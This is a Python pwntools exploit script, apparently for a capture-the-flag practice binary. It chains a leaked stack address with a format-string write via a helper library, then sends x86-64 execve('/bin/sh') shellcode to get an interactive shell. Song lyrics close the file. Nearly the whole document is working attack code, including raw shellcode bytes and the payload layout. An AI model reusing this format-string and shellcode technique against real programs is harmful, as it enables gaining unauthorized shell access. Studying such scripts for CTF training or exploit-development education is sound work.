# +------------------------------------------------+
# | Atack: Format String GOT Shellcode             |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings

from pwn import *

import sf

target = process("./chall-test_FmtString-13-x64")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=64)

target.recvuntil("Tell me I was never good enough: ")
leak = int(target.recvuntil(b"\n").strip(b"\n"), 16)
ret_address = leak + (152)
fs = sf.WriteFmtStr(
		arch = 64,
		value = -0x40,
		address = 0x403390,
		offset = 0x6,
		printed_bytes = 0x0,
		alignment_bytes = 0x0,
		value_base = ret_address,
		address_base = 0)

payload = sf.BufferOverflow(arch=64, start=152)
payload.add_bytes(152, fs.generate_fmt_str())
payload.add_bytes(64, b"\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05")
target.sendline(payload.generate_payload())


target.interactive()

# +------------------------------------------------+
# | Artist: Trivium                                |
# +------------------------------------------------+
# | Song: Sickness unto You                        |
# +------------------------------------------------+
# | I give in                                      |
# | I am through,                                  |
# | My sickness unto you                           |
# +------------------------------------------------+

